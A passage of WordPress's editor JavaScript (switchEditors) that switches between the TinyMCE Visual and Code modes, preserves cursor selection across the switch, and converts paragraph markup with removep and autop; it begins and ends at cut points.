{}; function init() { if ( ! tinymce && window.tinymce ) { tinymce = window.tinymce; $$ = tinymce.$; /** * Handles onclick events for the Visual/Code tabs. * * @since 4.3.0 * * @return {void} */ $$( document ).on( 'click', function( event ) { var id, mode, target = $$( event.target ); if ( target.hasClass( 'wp-switch-editor' ) ) { id = target.attr( 'data-wp-editor-id' ); mode = target.hasClass( 'switch-tmce' ) ? 'tmce' : 'html'; switchEditor( id, mode ); } }); } } /** * Returns the height of the editor toolbar(s) in px. * * @since 3.9.0 * * @param {Object} editor The TinyMCE editor. * @return {number} If the height is between 10 and 200 return the height, * else return 30. */ function getToolbarHeight( editor ) { var node = $$( '.mce-toolbar-grp', editor.getContainer() )[0], height = node && node.clientHeight; if ( height && height > 10 && height < 200 ) { return parseInt( height, 10 ); } return 30; } /** * Switches the editor between Visual and Code mode. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} id The id of the editor you want to change the editor mode for. Default: `content`. * @param {string} mode The mode you want to switch to. Default: `toggle`. * @return {void} */ function switchEditor( id, mode ) { id = id || 'content'; mode = mode || 'toggle'; var editorHeight, toolbarHeight, iframe, editor = tinymce.get( id ), wrap = $$( '#wp-' + id + '-wrap' ), htmlSwitch = wrap.find( '.switch-tmce' ), tmceSwitch = wrap.find( '.switch-html' ), $textarea = $$( '#' + id ), textarea = $textarea[0]; if ( 'toggle' === mode ) { if ( editor && ! editor.isHidden() ) { mode = 'html'; } else { mode = 'tmce'; } } if ( 'tmce' === mode || 'tinymce' === mode ) { // If the editor is visible we are already in `tinymce` mode. if ( editor && ! editor.isHidden() ) { return false; } // Insert closing tags for any open tags in QuickTags. if ( typeof( window.QTags ) !== 'undefined' ) { window.QTags.closeAllTags( id ); } editorHeight = parseInt( textarea.style.height, 10 ) || 0; addHTMLBookmarkInTextAreaContent( $textarea ); if ( editor ) { editor.show(); // No point to resize the iframe in iOS. if ( ! tinymce.Env.iOS && editorHeight ) { toolbarHeight = getToolbarHeight( editor ); editorHeight = editorHeight - toolbarHeight + 14; // Sane limit for the editor height. if ( editorHeight > 50 && editorHeight < 5000 ) { editor.theme.resizeTo( null, editorHeight ); } } focusHTMLBookmarkInVisualEditor( editor ); } else { tinymce.init( window.tinyMCEPreInit.mceInit[ id ] ); } wrap.removeClass( 'html-active' ).addClass( 'tmce-active' ); tmceSwitch.attr( 'aria-pressed', false ); htmlSwitch.attr( 'aria-pressed', true ); $textarea.attr( 'aria-hidden', true ); window.setUserSetting( 'editor', 'tinymce' ); } else if ( 'html' === mode ) { // If the editor is hidden (Quicktags is shown) we don't need to switch. if ( editor && editor.isHidden() ) { return false; } if ( editor ) { // Don't resize the textarea in iOS. // The iframe is forced to 100% height there, we shouldn't match it. if ( ! tinymce.Env.iOS ) { iframe = editor.iframeElement; editorHeight = iframe ? parseInt( iframe.style.height, 10 ) : 0; if ( editorHeight ) { toolbarHeight = getToolbarHeight( editor ); editorHeight = editorHeight + toolbarHeight - 14; // Sane limit for the textarea height. if ( editorHeight > 50 && editorHeight < 5000 ) { textarea.style.height = editorHeight + 'px'; } } } var selectionRange = null; selectionRange = findBookmarkedPosition( editor ); editor.hide(); if ( selectionRange ) { selectTextInTextArea( editor, selectionRange ); } } else { // There is probably a JS error on the page. // The TinyMCE editor instance doesn't exist. Show the textarea. $textarea.css({ 'display': '', 'visibility': '' }); } wrap.removeClass( 'tmce-active' ).addClass( 'html-active' ); tmceSwitch.attr( 'aria-pressed', true ); htmlSwitch.attr( 'aria-pressed', false ); $textarea.attr( 'aria-hidden', false ); window.setUserSetting( 'editor', 'html' ); } } /** * Checks if a cursor is inside an HTML tag or comment. * * In order to prevent breaking HTML tags when selecting text, the cursor * must be moved to either the start or end of the tag. * * This will prevent the selection marker to be inserted in the middle of an HTML tag. * * This function gives information whether the cursor is inside a tag or not, as well as * the tag type, if it is a closing tag and check if the HTML tag is inside a shortcode tag, * e.g. `[caption]<img.../>..`. * * @param {string} content The test content where the cursor is. * @param {number} cursorPosition The cursor position inside the content. * * @return {(null|Object)} Null if cursor is not in a tag, Object if the cursor is inside a tag. */ function getContainingTagInfo( content, cursorPosition ) { var lastLtPos = content.lastIndexOf( '<', cursorPosition - 1 ), lastGtPos = content.lastIndexOf( '>', cursorPosition ); if ( lastLtPos > lastGtPos || content.substr( cursorPosition, 1 ) === '>' ) { // Find what the tag is. var tagContent = content.substr( lastLtPos ), tagMatch = tagContent.match( /<\s*(\/)?(\w+|\!-{2}.*-{2})/ ); if ( ! tagMatch ) { return null; } var tagType = tagMatch[2], closingGt = tagContent.indexOf( '>' ); return { ltPos: lastLtPos, gtPos: lastLtPos + closingGt + 1, // Offset by one to get the position _after_ the character. tagType: tagType, isClosingTag: !! tagMatch[1] }; } return null; } /** * Checks if the cursor is inside a shortcode * * If the cursor is inside a shortcode wrapping tag, e.g. `[caption]` it's better to * move the selection marker to before or after the shortcode. * * For example `[caption]` rewrites/removes anything that's between the `[caption]` tag and the * `<img/>` tag inside. * * `[caption]<span>ThisIsGone</span><img .../>[caption]` * * Moving the selection to before or after the short code is better, since it allows to select * something, instead of just losing focus and going to the start of the content. * * @param {string} content The text content to check against. * @param {number} cursorPosition The cursor position to check. * * @return {(undefined|Object)} Undefined if the cursor is not wrapped in a shortcode tag. * Information about the wrapping shortcode tag if it's wrapped in one. */ function getShortcodeWrapperInfo( content, cursorPosition ) { var contentShortcodes = getShortCodePositionsInText( content ); for ( var i = 0; i < contentShortcodes.length; i++ ) { var element = contentShortcodes[ i ]; if ( cursorPosition >= element.startIndex && cursorPosition <= element.endIndex ) { return element; } } } /** * Gets a list of unique shortcodes or shortcode-lookalikes in the content. * * @param {string} content The content we want to scan for shortcodes. */ function getShortcodesInText( content ) { var shortcodes = content.match( /\[+([\w_-])+/g ), result = []; if ( shortcodes ) { for ( var i = 0; i < shortcodes.length; i++ ) { var shortcode = shortcodes[ i ].replace( /^\[+/g, '' ); if ( result.indexOf( shortcode ) === -1 ) { result.push( shortcode ); } } } return result; } /** * Gets all shortcodes and their positions in the content * * This function returns all the shortcodes that could be found in the textarea content * along with their character positions and boundaries. * * This is used to check if the selection cursor is inside the boundaries of a shortcode * and move it accordingly, to avoid breakage. * * @link adjustTextAreaSelectionCursors * * The information can also be used in other cases when we need to lookup shortcode data, * as it's already structured! * * @param {string} content The content we want to scan for shortcodes */ function getShortCodePositionsInText( content ) { var allShortcodes = getShortcodesInText( content ), shortcodeInfo; if ( allShortcodes.length === 0 ) { return []; } var shortcodeDetailsRegexp = wp.shortcode.regexp( allShortcodes.join( '|' ) ), shortcodeMatch, // Define local scope for the variable to be used in the loop below. shortcodesDetails = []; while ( shortcodeMatch = shortcodeDetailsRegexp.exec( content ) ) { /** * Check if the shortcode should be shown as plain text. * * This corresponds to the [[shortcode]] syntax, which doesn't parse the shortcode * and just shows it as text. */ var showAsPlainText = shortcodeMatch[1] === '['; shortcodeInfo = { shortcodeName: shortcodeMatch[2], showAsPlainText: showAsPlainText, startIndex: shortcodeMatch.index, endIndex: shortcodeMatch.index + shortcodeMatch[0].length, length: shortcodeMatch[0].length }; shortcodesDetails.push( shortcodeInfo ); } /** * Get all URL matches, and treat them as embeds. * * Since there isn't a good way to detect if a URL by itself on a line is a previewable * object, it's best to treat all of them as such. * * This means that the selection will capture the whole URL, in a similar way shrotcodes * are treated. */ var urlRegexp = new RegExp( '(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^\s"]+?)(<\\/p>\s*|[\\n\\r][\\n\\r]|$)', 'gi' ); while ( shortcodeMatch = urlRegexp.exec( content ) ) { shortcodeInfo = { shortcodeName: 'url', showAsPlainText: false, startIndex: shortcodeMatch.index, endIndex: shortcodeMatch.index + shortcodeMatch[ 0 ].length, length: shortcodeMatch[ 0 ].length, urlAtStartOfContent: shortcodeMatch[ 1 ] === '', urlAtEndOfContent: shortcodeMatch[ 3 ] === '' }; shortcodesDetails.push( shortcodeInfo ); } return shortcodesDetails; } /** * Generate a cursor marker element to be inserted in the content. * * `span` seems to be the least destructive element that can be used. * * Using DomQuery syntax to create it, since it's used as both text and as a DOM element. * * @param {Object} domLib DOM library instance. * @param {string} content The content to insert into the cursor marker element. */ function getCursorMarkerSpan( domLib, content ) { return domLib( '<span>' ).css( { display: 'inline-block', width: 0, overflow: 'hidden', 'line-height': 0 } ) .html( content ? content : '' ); } /** * Gets adjusted selection cursor positions according to HTML tags, comments, and shortcodes. * * Shortcodes and HTML codes are a bit of a special case when selecting, since they may render * content in Visual mode. If we insert selection markers somewhere inside them, it's really possible * to break the syntax and render the HTML tag or shortcode broken. * * @link getShortcodeWrapperInfo * * @param {string} content Textarea content that the cursors are in * @param {{cursorStart: number, cursorEnd: number}} cursorPositions Cursor start and end positions * * @return {{cursorStart: number, cursorEnd: number}} */ function adjustTextAreaSelectionCursors( content, cursorPositions ) { var voidElements = [ 'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input', 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr' ]; var cursorStart = cursorPositions.cursorStart, cursorEnd = cursorPositions.cursorEnd, // Check if the cursor is in a tag and if so, adjust it. isCursorStartInTag = getContainingTagInfo( content, cursorStart ); if ( isCursorStartInTag ) { /** * Only move to the start of the HTML tag (to select the whole element) if the tag * is part of the voidElements list above. * * This list includes tags that are self-contained and don't need a closing tag, according to the * HTML5 specification. * * This is done in order to make selection of text a bit more consistent when selecting text in * `<p>` tags or such. * * In cases where the tag is not a void element, the cursor is put to the end of the tag, * so it's either between the opening and closing tag elements or after the closing tag. */ if ( voidElements.indexOf( isCursorStartInTag.tagType ) !== -1 ) { cursorStart = isCursorStartInTag.ltPos; } else { cursorStart = isCursorStartInTag.gtPos; } } var isCursorEndInTag = getContainingTagInfo( content, cursorEnd ); if ( isCursorEndInTag ) { cursorEnd = isCursorEndInTag.gtPos; } var isCursorStartInShortcode = getShortcodeWrapperInfo( content, cursorStart ); if ( isCursorStartInShortcode && ! isCursorStartInShortcode.showAsPlainText ) { /** * If a URL is at the start or the end of the content, * the selection doesn't work, because it inserts a marker in the text, * which breaks the embedURL detection. * * The best way to avoid that and not modify the user content is to * adjust the cursor to either after or before URL. */ if ( isCursorStartInShortcode.urlAtStartOfContent ) { cursorStart = isCursorStartInShortcode.endIndex; } else { cursorStart = isCursorStartInShortcode.startIndex; } } var isCursorEndInShortcode = getShortcodeWrapperInfo( content, cursorEnd ); if ( isCursorEndInShortcode && ! isCursorEndInShortcode.showAsPlainText ) { if ( isCursorEndInShortcode.urlAtEndOfContent ) { cursorEnd = isCursorEndInShortcode.startIndex; } else { cursorEnd = isCursorEndInShortcode.endIndex; } } return { cursorStart: cursorStart, cursorEnd: cursorEnd }; } /** * Adds text selection markers in the editor textarea. * * Adds selection markers in the content of the editor `textarea`. * The method directly manipulates the `textarea` content, to allow TinyMCE plugins * to run after the markers are added. * * @param {Object} $textarea TinyMCE's textarea wrapped as a DomQuery object */ function addHTMLBookmarkInTextAreaContent( $textarea ) { if ( ! $textarea || ! $textarea.length ) { // If no valid $textarea object is provided, there's nothing we can do. return; } var textArea = $textarea[0], textAreaContent = textArea.value, adjustedCursorPositions = adjustTextAreaSelectionCursors( textAreaContent, { cursorStart: textArea.selectionStart, cursorEnd: textArea.selectionEnd } ), htmlModeCursorStartPosition = adjustedCursorPositions.cursorStart, htmlModeCursorEndPosition = adjustedCursorPositions.cursorEnd, mode = htmlModeCursorStartPosition !== htmlModeCursorEndPosition ? 'range' : 'single', selectedText = null, cursorMarkerSkeleton = getCursorMarkerSpan( $$, '' ).attr( 'data-mce-type','bookmark' ); if ( mode === 'range' ) { var markedText = textArea.value.slice( htmlModeCursorStartPosition, htmlModeCursorEndPosition ), bookMarkEnd = cursorMarkerSkeleton.clone().addClass( 'mce_SELRES_end' ); selectedText = [ markedText, bookMarkEnd[0].outerHTML ].join( '' ); } textArea.value = [ textArea.value.slice( 0, htmlModeCursorStartPosition ), // Text until the cursor/selection position. cursorMarkerSkeleton.clone() // Cursor/selection start marker. .addClass( 'mce_SELRES_start' )[0].outerHTML, selectedText, // Selected text with end cursor/position marker. textArea.value.slice( htmlModeCursorEndPosition ) // Text from last cursor/selection position to end. ].join( '' ); } /** * Focuses the selection markers in Visual mode. * * The method checks for existing selection markers inside the editor DOM (Visual mode) * and create a selection between the two nodes using the DOM `createRange` selection API. * * If there is only a single node, select only the single node through TinyMCE's selection API * * @param {Object} editor TinyMCE editor instance. */ function focusHTMLBookmarkInVisualEditor( editor ) { var startNode = editor.$( '.mce_SELRES_start' ).attr( 'data-mce-bogus', 1 ), endNode = editor.$( '.mce_SELRES_end' ).attr( 'data-mce-bogus', 1 ); if ( startNode.length ) { editor.focus(); if ( ! endNode.length ) { editor.selection.select( startNode[0] ); } else { var selection = editor.getDoc().createRange(); selection.setStartAfter( startNode[0] ); selection.setEndBefore( endNode[0] ); editor.selection.setRng( selection ); } } scrollVisualModeToStartElement( editor, startNode ); removeSelectionMarker( startNode ); removeSelectionMarker( endNode ); editor.save(); } /** * Removes selection marker and the parent node if it is an empty paragraph. * * By default TinyMCE wraps loose inline tags in a `<p>`. * When removing selection markers an empty `<p>` may be left behind, remove it. * * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instance of `editor.$` */ function removeSelectionMarker( $marker ) { var $markerParent = $marker.parent(); $marker.remove(); //Remove empty paragraph left over after removing the marker. if ( $markerParent.is( 'p' ) && ! $markerParent.children().length && ! $markerParent.text() ) { $markerParent.remove(); } } /** * Scrolls the content to place the selected element in the center of the screen. * * Takes an element, that is usually the selection start element, selected in * `focusHTMLBookmarkInVisualEditor()` and scrolls the screen so the element appears roughly * in the middle of the screen. * * I order to achieve the proper positioning, the editor media bar and toolbar are subtracted * from the window height, to get the proper viewport window, that the user sees. * * @param {Object} editor TinyMCE editor instance. * @param {Object} element HTMLElement that should be scrolled into view. */ function scrollVisualModeToStartElement( editor, element ) { var elementTop = editor.$( element ).offset().top, TinyMCEContentAreaTop = editor.$( editor.getContentAreaContainer() ).offset().top, toolbarHeight = getToolbarHeight( editor ), edTools = $( '#wp-content-editor-tools' ), edToolsHeight = 0, edToolsOffsetTop = 0, $scrollArea; if ( edTools.length ) { edToolsHeight = edTools.height(); edToolsOffsetTop = edTools.offset().top; } var windowHeight = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight, selectionPosition = TinyMCEContentAreaTop + elementTop, visibleAreaHeight = windowHeight - ( edToolsHeight + toolbarHeight ); // There's no need to scroll if the selection is inside the visible area. if ( selectionPosition < visibleAreaHeight ) { return; } /** * The minimum scroll height should be to the top of the editor, to offer a consistent * experience. * * In order to find the top of the editor, we calculate the offset of `#wp-content-editor-tools` and * subtracting the height. This gives the scroll position where the top of the editor tools aligns with * the top of the viewport (under the Master Bar) */ var adjustedScroll; if ( editor.settings.wp_autoresize_on ) { $scrollArea = $( 'html,body' ); adjustedScroll = Math.max( selectionPosition - visibleAreaHeight / 2, edToolsOffsetTop - edToolsHeight ); } else { $scrollArea = $( editor.contentDocument ).find( 'html,body' ); adjustedScroll = elementTop; } $scrollArea.animate( { scrollTop: parseInt( adjustedScroll, 10 ) }, 100 ); } /** * This method was extracted from the `SaveContent` hook in * `wp-includes/js/tinymce/plugins/wordpress/plugin.js`. * * It's needed here, since the method changes the content a bit, which confuses the cursor position. * * @param {Object} event TinyMCE event object. */ function fixTextAreaContent( event ) { // Keep empty paragraphs :( event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p> </p>' ); } /** * Finds the current selection position in the Visual editor. * * Find the current selection in the Visual editor by inserting marker elements at the start * and end of the selection. * * Uses the standard DOM selection API to achieve that goal. * * Check the notes in the comments in the code below for more information on some gotchas * and why this solution was chosen. * * @param {Object} editor The editor where we must find the selection. * @return {(null|Object)} The selection range position in the editor. */ function findBookmarkedPosition( editor ) { // Get the TinyMCE `window` reference, since we need to access the raw selection. var TinyMCEWindow = editor.getWin(), selection = TinyMCEWindow.getSelection(); if ( ! selection || selection.rangeCount < 1 ) { // no selection, no need to continue. return; } /** * The ID is used to avoid replacing user generated content, that may coincide with the * format specified below. * @type {string} */ var selectionID = 'SELRES_' + Math.random(); /** * Create two marker elements that will be used to mark the start and the end of the range. * * The elements have hardcoded style that makes them invisible. This is done to avoid seeing * random content flickering in the editor when switching between modes. */ var spanSkeleton = getCursorMarkerSpan( editor.$, selectionID ), startElement = spanSkeleton.clone().addClass( 'mce_SELRES_start' ), endElement = spanSkeleton.clone().addClass( 'mce_SELRES_end' ); /** * Inspired by: * @link https://stackoverflow.com/a/17497803/153310 * * Why do it this way and not with TinyMCE's bookmarks? * * TinyMCE's bookmarks are very nice when working with selections and positions, BUT * there is no way to determine the precise position of the bookmark when switching modes, since * TinyMCE does some serialization of the content, to fix things like shortcodes, run plugins, prettify * HTML code and so on. In this process, the bookmark markup gets lost. * * If we decide to hook right after the bookmark is added, we can see where the bookmark is in the raw HTML * in TinyMCE. Unfortunately this state is before the serialization, so any visual markup in the content will * throw off the positioning. * * To avoid this, we insert two custom `span`s that will serve as the markers at the beginning and end of the * selection. * * Why not use TinyMCE's selection API or the DOM API to wrap the contents? Because if we do that, this creates * a new node, which is inserted in the dom. Now this will be fine, if we worked with fixed selections to * full nodes. Unfortunately in our case, the user can select whatever they like, which means that the * selection may start in the middle of one node and end in the middle of a completely different one. If we * wrap the selection in another node, this will create artifacts in the content. * * Using the method below, we insert the custom `span` nodes at the start and at the end of the selection. * This helps us not break the content and also gives us the option to work with multi-node selections without * breaking the markup. */ var range = selection.getRangeAt( 0 ), startNode = range.startContainer, startOffset = range.startOffset, boundaryRange = range.cloneRange(); /** * If the selection is on a shortcode with Live View, TinyMCE creates a bogus markup, * which we have to account for. */ if ( editor.$( startNode ).parents( '.mce-offscreen-selection' ).length > 0 ) { startNode = editor.$( '[data-mce-selected]' )[0]; /** * Marking the start and end element with `data-mce-object-selection` helps * discern when the selected object is a Live Preview selection. * * This way we can adjust the selection to properly select only the content, ignoring * whitespace inserted around the selected object by the Editor. */ startElement.attr( 'data-mce-object-selection', 'true' ); endElement.attr( 'data-mce-object-selection', 'true' ); editor.$( startNode ).before( startElement[0] ); editor.$( startNode ).after( endElement[0] ); } else { boundaryRange.collapse( false ); boundaryRange.insertNode( endElement[0] ); boundaryRange.setStart( startNode, startOffset ); boundaryRange.collapse( true ); boundaryRange.insertNode( startElement[0] ); range.setStartAfter( startElement[0] ); range.setEndBefore( endElement[0] ); selection.removeAllRanges(); selection.addRange( range ); } /** * Now the editor's content has the start/end nodes. * * Unfortunately the content goes through some more changes after this step, before it gets inserted * in the `textarea`. This means that we have to do some minor cleanup on our own here. */ editor.on( 'GetContent', fixTextAreaContent ); var content = removep( editor.getContent() ); editor.off( 'GetContent', fixTextAreaContent ); startElement.remove(); endElement.remove(); var startRegex = new RegExp( '<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>(\\s*)' ); var endRegex = new RegExp( '(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>' ); var startMatch = content.match( startRegex ), endMatch = content.match( endRegex ); if ( ! startMatch ) { return null; } var startIndex = startMatch.index, startMatchLength = startMatch[0].length, endIndex = null; if (endMatch) { /** * Adjust the selection index, if the selection contains a Live Preview object or not. * * Check where the `data-mce-object-selection` attribute is set above for more context. */ if ( startMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) { startMatchLength -= startMatch[1].length; } var endMatchIndex = endMatch.index; if ( endMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) { endMatchIndex -= endMatch[1].length; } // We need to adjust the end position to discard the length of the range start marker. endIndex = endMatchIndex - startMatchLength; } return { start: startIndex, end: endIndex }; } /** * Selects text in the TinyMCE `textarea`. * * Selects the text in TinyMCE's textarea that's between `selection.start` and `selection.end`. * * For `selection` parameter: * @link findBookmarkedPosition * * @param {Object} editor TinyMCE's editor instance. * @param {Object} selection Selection data. */ function selectTextInTextArea( editor, selection ) { // Only valid in the text area mode and if we have selection. if ( ! selection ) { return; } var textArea = editor.getElement(), start = selection.start, end = selection.end || selection.start; if ( textArea.focus ) { // Wait for the Visual editor to be hidden, then focus and scroll to the position. setTimeout( function() { textArea.setSelectionRange( start, end ); if ( textArea.blur ) { // Defocus before focusing. textArea.blur(); } textArea.focus(); }, 100 ); } } // Restore the selection when the editor is initialized. Needed when the Code editor is the default. $( document ).on( 'tinymce-editor-init.keep-scroll-position', function( event, editor ) { if ( editor.$( '.mce_SELRES_start' ).length ) { focusHTMLBookmarkInVisualEditor( editor ); } } ); /** * Replaces <p> tags with two line breaks. "Opposite" of wpautop(). * * Replaces <p> tags with two line breaks except where the <p> has attributes. * Unifies whitespace. * Indents <li>, <dt> and <dd> for better readability. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} html The content from the editor. * @return {string} The content with stripped paragraph tags. */ function removep( html ) { var blocklist = 'blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure', blocklist1 = blocklist + '|div|p', blocklist2 = blocklist + '|pre', preserve_linebreaks = false, preserve_br = false, preserve = []; if ( ! html ) { return ''; } // Protect script and style tags. if ( html.indexOf( '<script' ) !== -1 || html.indexOf( '<style' ) !== -1 ) { html = html.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match ) { preserve.push( match ); return '<wp-preserve>'; } ); } // Protect pre tags. if ( html.indexOf( '<pre' ) !== -1 ) { preserve_linebreaks = true; html = html.replace( /<pre[^>]*>[\s\S]+?<\/pre>/g, function( a ) { a = a.replace( /<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>' ); a = a.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>' ); return a.replace( /\r?\n/g, '<wp-line-break>' ); }); } // Remove line breaks but keep <br> tags inside image captions. if ( html.indexOf( '[caption' ) !== -1 ) { preserve_br = true; html = html.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) { return a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ).replace( /[\r\n\t]+/, '' ); }); } // Normalize white space characters before and after block tags. html = html.replace( new RegExp( '\\s*</(' + blocklist1 + ')>\\s*', 'g' ), '</$1>\n' ); html = html.replace( new RegExp( '\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g' ), '\n<$1>' ); // Mark </p> if it has any attributes. html = html.replace( /(<p [^>]+>.*?)<\/p>/g, '$1</p#>' ); // Preserve the first <p> inside a <div>. html = html.replace( /<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n' ); // Remove paragraph tags. html = html.replace( /\s*<p>/gi, '' ); html = html.replace( /\s*<\/p>\s*/gi, '\n\n' ); // Normalize white space chars and remove multiple line breaks. html = html.replace( /\n[\s\u00a0]+\n/g, '\n\n' ); // Replace <br> tags with line breaks. html = html.replace( /(\s*)<br ?\/?>\s*/gi, function( match, space ) { if ( space && space.indexOf( '\n' ) !== -1 ) { return '\n\n'; } return '\n'; }); // Fix line breaks around <div>. html = html.replace( /\s*<div/g, '\n<div' ); html = html.replace( /<\/div>\s*/g, '</div>\n' ); // Fix line breaks around caption shortcodes. html = html.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n' ); html = html.replace( /caption\]\n\n+\[caption/g, 'caption]\n\n[caption' ); // Pad block elements tags with a line break. html = html.replace( new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g' ), '\n<$1>' ); html = html.replace( new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g' ), '</$1>\n' ); // Indent <li>, <dt> and <dd> tags. html = html.replace( /<((li|dt|dd)[^>]*)>/g, ' \t<$1>' ); // Fix line breaks around <select> and <option>. if ( html.indexOf( '<option' ) !== -1 ) { html = html.replace( /\s*<option/g, '\n<option' ); html = html.replace( /\s*<\/select>/g, '\n</select>' ); } // Pad <hr> with two line breaks. if ( html.indexOf( '<hr' ) !== -1 ) { html = html.replace( /\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n' ); } // Remove line breaks in <object> tags. if ( html.indexOf( '<object' ) !== -1 ) { html = html.replace( /<object[\s\S]+?<\/object>/g, function( a ) { return a.replace( /[\r\n]+/g, '' ); }); } // Unmark special paragraph closing tags. html = html.replace( /<\/p#>/g, '</p>\n' ); // Pad remaining <p> tags whit a line break. html = html.replace( /\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1' ); // Trim. html = html.replace( /^\s+/, '' ); html = html.replace( /[\s\u00a0]+$/, '' ); if ( preserve_linebreaks ) { html = html.replace( /<wp-line-break>/g, '\n' ); } if ( preserve_br ) { html = html.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' ); } // Restore preserved tags. if ( preserve.length ) { html = html.replace( /<wp-preserve>/g, function() { return preserve.shift(); } ); } return html; } /** * Replaces two line breaks with a paragraph tag and one line break with a <br>. * * Similar to `wpautop()` in formatting.php. * * @since 2.5.0 * * @memberof switchEditors * * @param {string} text The text input. * @return {string} The formatted text. */ function autop( text ) { var preserve_linebreaks = false, preserve_br = false, blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' + '|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' + '|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary'; // Normalize line breaks. text = text.replace( /\r\n|\r/g, '\n' ); // Remove line breaks from <object>. if ( text.indexOf( '<object' ) !== -1 ) { text = text.replace( /<object[\s\S]+?<\/object>/g, function( a ) { return a.replace( /\n+/g, '' ); }); } // Remove line breaks from tags. text = text.replace( /<[^<>]+>/g, function( a ) { return a.replace( /[\n\t ]+/g, ' ' ); }); // Preserve line breaks in <pre> and <script> tags. if ( text.indexOf( '<pre' ) !== -1 || text.indexOf( '<script' ) !== -1 ) { preserve_linebreaks = true; text = text.replace( /<(pre|script)[^>]*>[\s\S]*?<\/\1>/g, function( a ) { return a.replace( /\n/g, '<wp-line-break>' ); }); } if ( text.indexOf( '<figcaption' ) !== -1 ) { text = text.replace( /\s*(<figcaption[^>]*>)/g, '$1' ); text = text.replace( /<\/figcaption>\s*/g, '</figcaption>' ); } // Keep <br> tags inside captions. if ( text.indexOf( '[caption' ) !== -1 ) { preserve_br = true; text = text.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) { a = a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ); a = a.replace( /<[^<>]+>/g, function( b ) { return b.replace( /[\n\t ]+/, ' ' ); }); return a.replace( /\s*\n\s*/g, '<wp-temp-br />' ); }); } text = text + '\n\n'; text = text.replace( /<br \/>\s*<br \/>/gi, '\n\n' ); // Pad block tags with two line breaks. text = text.replace( new RegExp( '(<(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '\n\n$1' ); text = text.replace( new RegExp( '(</(?:' + blocklist + ')>)', 'gi' ), '$1\n\n' ); text = text.replace( /<hr( [^>]*)?>/gi, '<hr$1>\n\n' ); // Remove white space chars around <option>. text = text.replace( /\s*<option/gi, '<option' ); text = text.replace( /<\/option>\s*/gi, '</option>' ); // Normalize multiple line breaks and white space chars. text = text.replace( /\n\s*\n+/g, '\n\n' ); // Convert two line breaks to a paragraph. text = text.replace( /([\s\S]+?)\n\n/g, '<p>$1</p>\n' ); // Remove empty paragraphs. text = text.replace( /<p>\s*?<\/p>/gi, ''); // Remove <p> tags that are around block tags. text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' ); text = text.replace( /<p>(<li.+?)<\/p>/gi, '$1'); // Fix <p> in blockquotes. text = text.replace( /<p>\s*<blockquote([^>]*)>/gi, '<blockquote$1><p>'); text = text.replace( /<\/blockquote>\s*<\/p>/gi, '</p></blockquote>'); // Remove <p> tags that are wrapped around block tags. text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '$1' ); text = text.replace( new RegExp( '(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' ); text = text.replace( /(<br[^>]*>)\s*\n/gi, '$1' ); // Add <br> tags. text = text.replace( /\s*\n/g, '<br />\n'); // Remove <br> tags that are around block tags. text = text.replace( new RegExp( '(</?(?:' + blocklist + ')[^>]*>)\\s*<br />', 'gi' ), '$1' ); text = text.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1' ); // Remove <p> and <br> around captions. text = text.replace( /(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi, '[caption$1[/caption]' ); // Make sure there is <p> when there is </p> inside block tags that can contain other blocks. text = text.replace( /(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function( a, b, c ) { if ( c.match( /<p( [^>]*)?>/ ) ) { return a; } return b + '<p>' + c + '</p>'; }); // Restore the line breaks in <pre> and <script> tags. if ( preserve_linebreaks ) { text = text.replace( /<wp-line-break>/g, '\n' ); } // Restore the <br> tags in captions. if ( preserve_br ) { text = text.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' ); } return text; } /** * Fires custom jQuery events `beforePreWpautop` and `afterPreWpautop` when jQuery is available. * * @since 2.9.0 * * @memberof switchEditors * * @param {string} html The content from the visual editor. * @return {string} the filtered content. */ function pre_wpautop( html ) { var obj = { o: exports, data: html, unfiltered: html }; if ( $ ) { $( 'body' ).trigger( 'beforePreWpautop', [ obj ] ); } obj.data = removep( obj.data ); if ( $ ) { $( 